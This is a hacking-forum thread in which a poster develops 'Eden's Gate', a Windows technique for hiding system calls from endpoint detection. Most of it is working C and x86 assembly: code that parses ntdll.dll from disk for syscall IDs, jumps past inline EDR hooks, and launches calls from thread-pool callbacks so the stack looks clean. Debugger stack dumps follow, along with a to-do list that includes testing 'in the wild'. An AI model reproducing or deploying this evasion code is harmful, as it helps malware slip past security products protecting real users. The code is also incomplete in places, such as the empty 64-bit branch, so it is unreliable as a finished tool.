Hack Forums
Eden's Gate - Syscall and a stack with no sins - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Cryptography, Encryption, and Decryption (https://hackforums.net/forumdisplay.php?fid=126)
+---- Thread: Eden's Gate - Syscall and a stack with no sins (/showthread.php?tid=6263377)



Eden's Gate - Syscall and a stack with no sins - an4l 1st - Feb 9, 2024

Hello, ladies and gentlemen.

[Image: we4yqPS.jpeg]

I must say that this technique kind of already exists out there.
But the whole package on doing it in a very cool way, I have not seen out there.

That been said, I named this technique Eden's Gate.

It consists of:

1. Getting the syscall id from a ntdll.dll loaded from disk;
2. Setting up a call to the Nt function jumping out a few bytes to prevent any inline hooking;
3. jmp to the Nt function from a callback from ntdll.dll.

When these 3 points are combined you have what I called Eden's Gate.

I must say that this is a project still under development. It is not fully functional yet and I will update this post as I finish it.

[Image: IHtEIRql.jpg]

So let's some code to find the syscall id from the disk:

Code
#include <Windows.h>
#include <stdio.h>
#include "eden.h"

void check_section(_GetModuleHandleA _getModuleHandleA, LPCSTR moduleName) {
    HMODULE hModule = _getModuleHandleA(moduleName);

    printf("hModule = %p\n", (void*)hModule);
}

#pragma optimize("", off)
void custom_memset(void* dst, BYTE value, unsigned int len) {
    for (unsigned int i = 0; i < len; i++)
        *(BYTE*)((SIZE_T)dst + i) = value;
}

void custom_memcpy(void* dst, void* src, unsigned int len) {
    for (unsigned int i = 0; i < len; i++)
        *(BYTE*)((SIZE_T)dst + i) = *(BYTE*)((SIZE_T)src + i);
}
#pragma optimize("", on)

DWORD GetSyscallIdFromDisk(LPCSTR lpFunctionName) {
    BYTE ntdll[] = { '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x00 };
    UINT dwSize = GetWindowsDirectoryA(NULL, 0);
    char* lpBuffer = (char*)VirtualAlloc(NULL, dwSize + sizeof(ntdll), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (lpBuffer == NULL) {
        printf("Error on VirtualAlloc: %d\n", GetLastError());
        return INVALID_FILE_SIZE;
    }

    custom_memset(lpBuffer, 0x00, dwSize + sizeof(ntdll));

    dwSize = GetWindowsDirectoryA(lpBuffer, dwSize);

    if (dwSize == 0) {
        printf("Error on GetSystemDirectoryA: %d\n", GetLastError());
        VirtualFree(lpBuffer, 0, MEM_RELEASE);
        return INVALID_FILE_SIZE;
    }

    custom_memcpy((char *)((SIZE_T)lpBuffer + dwSize), ntdll, sizeof(ntdll));

    printf("lpBuffer = %s\n", lpBuffer);

    HANDLE hFile = CreateFileA(lpBuffer, GENERIC_READ, FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Error on CreateFileA: %d\n", GetLastError());
        VirtualFree(lpBuffer, 0, MEM_RELEASE);
        return INVALID_FILE_SIZE;
    }

    VirtualFree(lpBuffer, 0, MEM_RELEASE);

    printf("hFile = %p\n", (void*)hFile);

    DWORD dwFileSize = GetFileSize(hFile, NULL);

    if (dwFileSize == INVALID_FILE_SIZE) {
        printf("Error on GetFileSize: %d\n", GetLastError());
        CloseHandle(hFile);
        return INVALID_FILE_SIZE;
    }

    printf("dwFileSize = %d\n", dwFileSize);

    BYTE* lpFileBuffer = (BYTE*)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (lpFileBuffer == NULL) {
        printf("Error on VirtualAlloc: %d\n", GetLastError());
        CloseHandle(hFile);
        return INVALID_FILE_SIZE;
    }

    DWORD nBytes = 0;

    if (!ReadFile(hFile, lpFileBuffer, dwFileSize, &nBytes, NULL)) {
        printf("Error on ReadFile: %d\n", GetLastError());
        VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
        CloseHandle(hFile);
        return INVALID_FILE_SIZE;
    }

    CloseHandle(hFile);

    PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)lpFileBuffer;
    PIMAGE_NT_HEADERS inh = (PIMAGE_NT_HEADERS)((SIZE_T)idh + idh->e_lfanew);

    printf("idh->e_magic = %04x\n", idh->e_magic);
    printf("inh->e_magic = %08x\n", inh->Signature);

    DWORD export_directory_rva = inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    printf("export_directory_rva = %08x\n", export_directory_rva);

    DWORD dwBaseOfCode = inh->OptionalHeader.BaseOfCode;

    printf("inh->OptionalHeader.BaseOfCode = %08x\n", dwBaseOfCode);

    int raw_rva_delta = 0;

    for (int i = 0; i < inh->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER ish = (PIMAGE_SECTION_HEADER)((SIZE_T)idh + idh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * IMAGE_SIZEOF_SECTION_HEADER));

        /*
        if (*(DWORD*)&ish->Name[1] == 0x74786574) {
            // .text section
            ish_text = ish;
            break;
        }
        */

        if (
            (export_directory_rva > ish->VirtualAddress) &&
            (export_directory_rva < ish->VirtualAddress + ish->SizeOfRawData)
        ) {
            raw_rva_delta = ish->VirtualAddress - ish->PointerToRawData;
            break;
        }
    }

    if (raw_rva_delta == 0) {
        printf("Could not find the section where the export directory is\n");
        VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
        (lpBuffer, 0, MEM_RELEASE);
        return INVALID_FILE_SIZE;
    }

    // -- now it is time to find the exported functions...
    // fix the rva for the export directory and parse the functions...

    PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)lpFileBuffer + inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress - raw_rva_delta);

    printf("ied->Name = %s\n", (char*)((SIZE_T)lpFileBuffer + ied->Name - raw_rva_delta));

    LPDWORD lpAddressOfNames = (LPDWORD)((SIZE_T)lpFileBuffer + ied->AddressOfNames - raw_rva_delta);
    LPDWORD lpAddressOfFunctions = (LPDWORD)((SIZE_T)lpFileBuffer + ied->AddressOfFunctions - raw_rva_delta);
    LPWORD lpAddressOfNameOrdinals = (LPWORD)((SIZE_T)lpFileBuffer + ied->AddressOfNameOrdinals - raw_rva_delta);

    BYTE* lpDesiredFunction = (BYTE*)0;

    for (DWORD i = 0; i < ied->NumberOfNames; i++) {
        char* nameOfFunction = (char*)((SIZE_T)lpFileBuffer + lpAddressOfNames[i] - raw_rva_delta);
        WORD ordinal = lpAddressOfNameOrdinals[i];
        DWORD addressOfFunction = lpAddressOfFunctions[ordinal];

        if (_strcmpi(lpFunctionName, nameOfFunction) == 0) {
            printf("functionName = [%04x] %s (%08x) \n", ordinal + ied->Base, nameOfFunction, addressOfFunction);
            lpDesiredFunction = (void*)((SIZE_T)lpFileBuffer + addressOfFunction - raw_rva_delta);
        }
    }

    if (lpDesiredFunction == NULL) {
        printf("Could not find the desired function\n");
        VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
        return INVALID_FILE_SIZE;
    }

    for (int i = 0; i < 20; i++) {
        printf("%02x ", lpDesiredFunction[i]);
        if ((i + 1) % 0x10 == 0)
            printf("\n");
    }

    printf("\n");

    /*
        At this point, the program has the address of the function from a fresh loaded ntdll from disk
        With this address, it is possible to extract and return the syscall id
        With the syscall id, it is possible to call TpWork callback and from the callback, setup the necessary code to run the syscall
        And then, finally jmp to the ntdll!DesiredFunction + offset(edr!hook), the syscall will be called and the return will work like the return from the ntdll!DesiredFunction
    */

#ifdef _WIN64
    // 64 bit code goes here...
#else
    DWORD ret = *(DWORD*)((SIZE_T)lpDesiredFunction + 1);
#endif

    VirtualFree(lpFileBuffer, 0, MEM_RELEASE);

    return ret;
}

Now the main.cpp:


Code
#include <Windows.h>
#include <stdio.h>
#include "eden.h"

/*
    What is Eden's Gate?
    - I stole the code and the idea. Now they are mine and can name them whatever I feel like;
    - Eden's Gate is an implementation of "indirect syscall" on windows that uses TpWork callback to keep the stack clean;
    - Eden's Gate is not Eden's Gate if you don't implement the full idea.

    What is the full idea of Eden's Gate?
    - The idea is to read the ntdll.dll from disk;
    - Go to the .text section and find the original syscall id's for the function;
    - This way even if some shit EDR hooks the ntdll in userland, the code finds its way to the code without triggering the damn software;
    - After the syscall id was found, pick any syscall "template" from any nt function that makes any syscall (ZwAccessCheck, e.g.);
    - Call the TpWork to setup the callback;
    - On the call back, make all the necessary code to run your function (push everything to the stack, or move things to rcx, rdx, r8, r9, stack if on 64bit);
    - Now it is time to execute partial instructions that would be executed by the ntdll code:

00007FFEEB223CE0 | 4C:8BD1                  | mov r10,rcx                                                                         |
00007FFEEB223CE3 | B8 00000000              | mov eax,0                                                                           |
00007FFEEB223CE8 | F60425 0803FE7F 01       | test byte ptr ds:[7FFE0308],1                                                       |
00007FFEEB223CF0 | 75 03                    | jne ntdll.7FFEEB223CF5                                                              |
00007FFEEB223CF2 | 0F05                     | syscall                                                                             |
00007FFEEB223CF4 | C3                       | ret                                                                                 |
00007FFEEB223CF5 | CD 2E                    | int 2E                                                                              |
00007FFEEB223CF7 | C3                       | ret                                                                                 |

    - Yeah, the first argument goes to r10, this is on 64bit, later on I will check on wow64 and on 32 bit to make a compatible version;
    - Then place the syscall id on eax;
    - Now instead of calling the function, jmp to it, remembering the offset to skip the EDR hook, if any;
    - It will be like if the callback was indeed the ntdll!CalledFunction and the stack will be crystal clear;
    - Mostly the result from the syscall is never necessary, the effects often are seen on parameters passed.

    - Finally, using the syscall
*/

extern "C" {
    extern void check_section(_GetModuleHandleA _getModuleHandleA, LPCSTR moduleName);
    extern DWORD GetSyscallIdFromDisk(LPCSTR lpFunctionName);
}

typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);

extern "C" {
    VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
    VOID CALLBACK asm_WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
}

VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work) {
    printf("We are running the callback... Context = %p\n", Context);
}

#pragma optimize("", off)

int main() {
    check_section(GetModuleHandleA, "ntdll.dll");

    printf("syscall id for ZwAccessCheck = %08x\n", GetSyscallIdFromDisk("ZwAccessCheck"));
    printf("syscall id for NtCreateThread = %08x\n", GetSyscallIdFromDisk("NtCreateThread"));
    printf("syscall id for NtReadFile = %08x\n", GetSyscallIdFromDisk("NtReadFile"));
    printf("syscall id for NtWriteFile = %08x\n", GetSyscallIdFromDisk("NtWriteFile"));

    // there needs to be a proof of concept here that calls TpAllocWork and stuff..
    HMODULE hNtDll = GetModuleHandleA("ntdll");

    if (hNtDll == NULL) {
        printf("Error on GetModuleHandleA: %d\n", GetLastError());
        return -1;
    }

    TPALLOCWORK TpAllocWork = (TPALLOCWORK)GetProcAddress(hNtDll, "TpAllocWork");

    if (TpAllocWork == NULL) {
        printf("Error on GetProcAddress(TpAllocWork): %d\n", GetLastError());
        return -1;
    }

    TPPOSTWORK TpPostWork = (TPPOSTWORK)GetProcAddress(hNtDll, "TpPostWork");

    if (TpPostWork == NULL) {
        printf("Error on GetProcAddress(TpPostWork): %d\n", GetLastError());
        return -1;
    }

    TPRELEASEWORK TpReleaseWork = (TPRELEASEWORK)GetProcAddress(hNtDll, "TpReleaseWork");

    if (TpReleaseWork == NULL) {
        printf("Error on GetProcAddress(TpReleaseWork): %d\n", GetLastError());
        return -1;
    }

    PTP_WORK pWork = NULL;

    TpAllocWork(& pWork, asm_WorkCallback, (PVOID)GetProcAddress(hNtDll, "NtReadFile"), NULL);
    TpPostWork(pWork);
    TpReleaseWork(pWork);

    WaitForSingleObject(GetCurrentProcess(), 1000);

    char c = '0';

    scanf_s("%c", &c, sizeof(char));
    printf("%02x\n", (BYTE)c);

    return 0;
}

#pragma optimize("", on)

Ok. Finally we need some assembly code to jmp to the Nt function:

Code
.686P

EXTRN _WorkCallback@12:PROC
PUBLIC _asm_WorkCallback@12

_TEXT SEGMENT

_asm_WorkCallback@12 PROC

    jmp dword ptr [esp+8]
    ret

_asm_WorkCallback@12 ENDP

_TEXT ENDS

END

If you take a closer look you will notice that the way I am writing the eden.c (the code that gets the syscall id from disk) indicates that I will make that code a position independent code in the future.

So far what this produces is:

[Image: yZcGbbZ.png]

This is a pretty clean stack.
This way we prevent EDR's from checking out the call stack to prevent suspicious calls from private memory regions for example.

Normally EDR's will "hook" syscalls using NtSetInformationProcess (on user mode)

Something along those lines:

Code
#define PROCESS_INFO_CLASS_INSTRUMENTATION 40

typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION
{
    ULONG Version;
    ULONG Reserved;
    PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, * PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;

PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION nirvana;
nirvana.Callback = (PVOID)(ULONG_PTR)InstrumentationCallbackThunk;
nirvana.Reserved = 0; /* Always 0 */
nirvana.Version = 0; /* x64 -> 0 | x86 -> 1 */

NtSetInformationProcess(
  GetCurrentProcess(),
  (PROCESS_INFORMATION_CLASS)PROCESS_INFO_CLASS_INSTRUMENTATION,
  &nirvana,
  sizeof(nirvana));

That and some ETW on kernel.

Quote: If an EDR checks the full stack of the NTAPI, it can easily identify that the return address eventually reaches back to the user allocated RX region. This means, a return address to ntdll.dll region, but stack originating from RX region is a 100% anomaly with zero chances of being a false positive. This is an easy win for EDRs who utilize ETW for syscall tracing in the kernel.


To be continue...

References:

https://0xdarkvortex.dev/hiding-in-plainsight/
https://winternl.com/detecting-manual-syscalls-from-user-mode/


RE: Eden's Gate - Syscall and a stack with no sins - Suspect. - Feb 9, 2024

Looking good thus far, will check back on this thread another time to see its progress. GJ.


RE: Eden's Gate - Syscall and a stack with no sins - Hackers - Feb 9, 2024

This looks interesting, I checked out the article by Paranoid Ninja & saw his Git repo too. Saved it for reference :)


RE: Eden's Gate - Syscall and a stack with no sins - an4l 1st - Feb 10, 2024

Ok, today it is time to continue the development of the holy Eden's Gate.

The program now will execute a syscall in x86 wow64 and that is just the beginning as there are a lot of more things to be added to make this really sacred.

As usual, let there be code:

main.cpp
Code
#include <Windows.h>
#include <stdio.h>
#include "eden.h"

/*
    What is Eden's Gate?
    - I stole the code and the idea. Now they are mine and can name them whatever I feel like;
    - Eden's Gate is an implementation of "indirect syscall" on windows that uses TpWork callback to keep the stack clean;
    - Eden's Gate is not Eden's Gate if you don't implement the full idea.

    What is the full idea of Eden's Gate?
    - The idea is to read the ntdll.dll from disk;
    - Go to the .text section and find the original syscall id's for the function;
    - This way even if some shit EDR hooks the ntdll in userland, the code finds its way to the code without triggering the damn software;
    - After the syscall id was found, pick any syscall "template" from any nt function that makes any syscall (ZwAccessCheck, e.g.);
    - Call the TpWork to setup the callback;
    - On the call back, make all the necessary code to run your function (push everything to the stack, or move things to rcx, rdx, r8, r9, stack if on 64bit);
    - Now it is time to execute partial instructions that would be executed by the ntdll code:

00007FFEEB223CE0 | 4C:8BD1                  | mov r10,rcx                                                                         |
00007FFEEB223CE3 | B8 00000000              | mov eax,0                                                                           |
00007FFEEB223CE8 | F60425 0803FE7F 01       | test byte ptr ds:[7FFE0308],1                                                       |
00007FFEEB223CF0 | 75 03                    | jne ntdll.7FFEEB223CF5                                                              |
00007FFEEB223CF2 | 0F05                     | syscall                                                                             |
00007FFEEB223CF4 | C3                       | ret                                                                                 |
00007FFEEB223CF5 | CD 2E                    | int 2E                                                                              |
00007FFEEB223CF7 | C3                       | ret                                                                                 |

    - Yeah, the first argument goes to r10, this is on 64bit, later on I will check on wow64 and on 32 bit to make a compatible version;
    - Then place the syscall id on eax;
    - Now instead of calling the function, jmp to it, remembering the offset to skip the EDR hook, if any;
    - It will be like if the callback was indeed the ntdll!CalledFunction and the stack will be crystal clear;
    - Mostly the result from the syscall is never necessary, the effects often are seen on parameters passed.

    - Finally, using the syscall
*/

extern "C" {
    extern void check_section(_GetModuleHandleA _getModuleHandleA, LPCSTR moduleName);
    extern DWORD GetSyscallIdFromDisk(LPCSTR lpFunctionName);
}

typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);

extern "C" {
    VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
    VOID CALLBACK asm_WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
}

VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work) {
    printf("We are running the callback... Context = %p\n", Context);
}

typedef struct {
    FARPROC ntFunctionAddress;
    DWORD syscallid;
    DWORD numberOfParameters;
    SIZE_T* listOfParameters;
    DWORD returnAddress;
} EDENCONTEXT, *PEDENCONTEXT;

#pragma optimize("", off)

int main() {
    check_section(GetModuleHandleA, "ntdll.dll");

    printf("syscall id for ZwAccessCheck = %08x\n", GetSyscallIdFromDisk("ZwAccessCheck"));
    printf("syscall id for NtCreateThread = %08x\n", GetSyscallIdFromDisk("NtCreateThread"));
    printf("syscall id for NtReadFile = %08x\n", GetSyscallIdFromDisk("NtReadFile"));
    printf("syscall id for NtWriteFile = %08x\n", GetSyscallIdFromDisk("NtWriteFile"));

    // there needs to be a proof of concept here that calls TpAllocWork and stuff..
    HMODULE hNtDll = GetModuleHandleA("ntdll");

    if (hNtDll == NULL) {
        printf("Error on GetModuleHandleA: %d\n", GetLastError());
        return -1;
    }

    TPALLOCWORK TpAllocWork = (TPALLOCWORK)GetProcAddress(hNtDll, "TpAllocWork");

    if (TpAllocWork == NULL) {
        printf("Error on GetProcAddress(TpAllocWork): %d\n", GetLastError());
        return -1;
    }

    TPPOSTWORK TpPostWork = (TPPOSTWORK)GetProcAddress(hNtDll, "TpPostWork");

    if (TpPostWork == NULL) {
        printf("Error on GetProcAddress(TpPostWork): %d\n", GetLastError());
        return -1;
    }

    TPRELEASEWORK TpReleaseWork = (TPRELEASEWORK)GetProcAddress(hNtDll, "TpReleaseWork");

    if (TpReleaseWork == NULL) {
        printf("Error on GetProcAddress(TpReleaseWork): %d\n", GetLastError());
        return -1;
    }

    PTP_WORK pWork = NULL;

    EDENCONTEXT edenContext = { 0 };

    edenContext.ntFunctionAddress = GetProcAddress(hNtDll, "NtAllocateVirtualMemory");
    edenContext.syscallid = GetSyscallIdFromDisk("NtAllocateVirtualMemory");

    /*
    * NtAllocateVirtualMemory ->
        [in]      HANDLE    ProcessHandle,
        [in, out] PVOID     *BaseAddress,
        [in]      ULONG_PTR ZeroBits,
        [in, out] PSIZE_T   RegionSize,
        [in]      ULONG     AllocationType,
        [in]      ULONG     Protect
    */

    LPVOID lpBuffer = (LPVOID)0;
    SIZE_T RegionSize = 0x1000;

    SIZE_T parameters[] = {
        (SIZE_T)GetCurrentProcess(),            // ProcessHandle
        (SIZE_T)&lpBuffer,                        // *BaseAddress
        (SIZE_T)0,                                // ZeroBits
        (SIZE_T)&RegionSize,                    // RegionSize
        (SIZE_T)(MEM_COMMIT | MEM_RESERVE),        // AllocationType
        (SIZE_T)PAGE_READWRITE                    // Protect
    };

    edenContext.numberOfParameters = sizeof(parameters) / sizeof(SIZE_T);
    edenContext.listOfParameters = parameters;

    TpAllocWork(& pWork, asm_WorkCallback, (PVOID)&edenContext, NULL);
    TpPostWork(pWork);
    TpReleaseWork(pWork);

    WaitForSingleObject(GetCurrentProcess(), 1000);

    char c = '0';

    scanf_s("%c", &c, sizeof(char));
    printf("%02x\n", (BYTE)c);

    return 0;
}

#pragma optimize("", on)

and the Workcallback.asm
Code
.686P

EXTRN _WorkCallback@12:PROC
PUBLIC _asm_WorkCallback@12

_TEXT SEGMENT

_asm_WorkCallback@12 PROC

    mov edx, dword ptr [esp+8h]
    pop dword ptr [edx+10h]
    mov eax, dword ptr [edx+0ch]
    push dword ptr [edx+8h]
    pop ecx
WHILE_PARAMETERS_TO_PUSH:
    dec ecx
    cmp ecx, 0
    jl SHORT PARAMETERS_PUSHED
    push dword ptr[eax+ecx*4]
    jmp WHILE_PARAMETERS_TO_PUSH

PARAMETERS_PUSHED:
    mov eax, dword ptr [edx+4h]
    mov ecx, dword ptr [edx]
    add ecx, 5h
    push dword ptr [edx+10h]
    jmp ecx

_asm_WorkCallback@12 ENDP

_TEXT ENDS

END

don't worry if you are lazy, at the end of this project I will make it publicly available on github for everyone to be able to ** with EDR's.

Do you get extra credits if you use this on a pc with morphisexy and bypass it? YES... but you need to have authorization to penetrate before you try... that being said, I will not be held accountable for any illegal activities.

As you can see the assembly code got much nicer :) I am enjoying crafting some asm...

Checking in action:

[Image: sAxXKbu.png]

run until jmp:

[Image: rnQBIj9.png]

check that stack:

Code
00DCF970  77403224  return to ntdll.RtlAppendUnicodeStringToString+29D4 from ???
00DCF974  FFFFFFFF  
00DCF978  008FF82C  
00DCF97C  00000000  
00DCF980  008FF828  
00DCF984  00003000  
00DCF988  00000004

uuuh, sweet...
the code popped the ret address from the top of the stack, pushed all the function arguments to the stack and then pushed the ret address back to the top of the stack... everything ready for jumping to the ntfunction.. but not before adding 5 to the ntfunction address to jump eventually some inline hook...

decent inline hooks in x86 windows will take 5 bytes and the mov eax, syscallid takes 5 bytes... so this solution is beautiful..
I know there is some push ret hooks that would use 6 bytes and f*** the whole thing up... but let's not care with such poorly coded hooks right!?

beautiful, now the call will run and return to the function that called the callback to begin with... nice, elegant and holy christ, isn't that some sacred code?
that code should be written in the bible... or quran.. or whatever is your bed story of choice...

Look at this beautiful stack...

[Image: Twwm4Hs.png]

But the question is: do you even lift? does it work?

Pay close attention to the buffer argument:

[Image: mtX1B51.png]

Call, baby, call:

[Image: ySfhL0k.png]

huh...

[Image: pOvRJLN.png]

Show the stack!

[Image: SqJnGwP.png]

[Image: pUEF4h0.png]

Ok... you got my attention

Just one more thing.. what the is hell is this wooden dragon doing inside my garden??

[Image: vs89LsZ.jpeg]





to be continued...


RE: Eden's Gate - Syscall and a stack with no sins - an4l 1st - Feb 10, 2024

(Feb 10, 2024 12:26 PM)blyat1337 Wrote:  ++++

si amigo no beuni [warn]

may I help you, sir!?

----

I will add this note here for myself... I was thinking and I guess there is some "stack memory leak" because the callback parameters are not being cleaned from stack... the stack eventually will grow too big if this is used over and over... for a couple calls that is not going to be a problem but for many calls this could be a problem...

the stack size for the callback function is 0x0c bytes (3 arguments)... maybe we should just add esp, 0x0c after we move the dword ptr [esp+0x08] to edx... we wont be using any variables from the stack... I guess this would work and be more correct... I will test later and add more code...

Todo:

- check eventual stack memory leak and fix it;
- add support for x64;
- make getSyscallIdFromDisk position independent code;
- test some stuff on the wild.


Todo:

- check eventual stack memory leak and fix it;
- add support for x64;
- make getSyscallIdFromDisk position independent code;
- test some stuff on the wild.

Code
.686P

EXTRN _WorkCallback@12:PROC
PUBLIC _asm_WorkCallback@12

_TEXT SEGMENT

_asm_WorkCallback@12 PROC

    mov edx, dword ptr [esp+8h]
    pop dword ptr [edx+10h]
    add esp, 0ch
    mov eax, dword ptr [edx+0ch]
    push dword ptr [edx+8h]
    pop ecx
WHILE_PARAMETERS_TO_PUSH:
    dec ecx
    cmp ecx, 0
    jl SHORT PARAMETERS_PUSHED
    push dword ptr[eax+ecx*4]
    jmp WHILE_PARAMETERS_TO_PUSH

PARAMETERS_PUSHED:
    mov eax, dword ptr [edx+4h]
    mov ecx, dword ptr [edx]
    add ecx, 5h
    push dword ptr [edx+10h]
    jmp ecx

_asm_WorkCallback@12 ENDP

_TEXT ENDS

END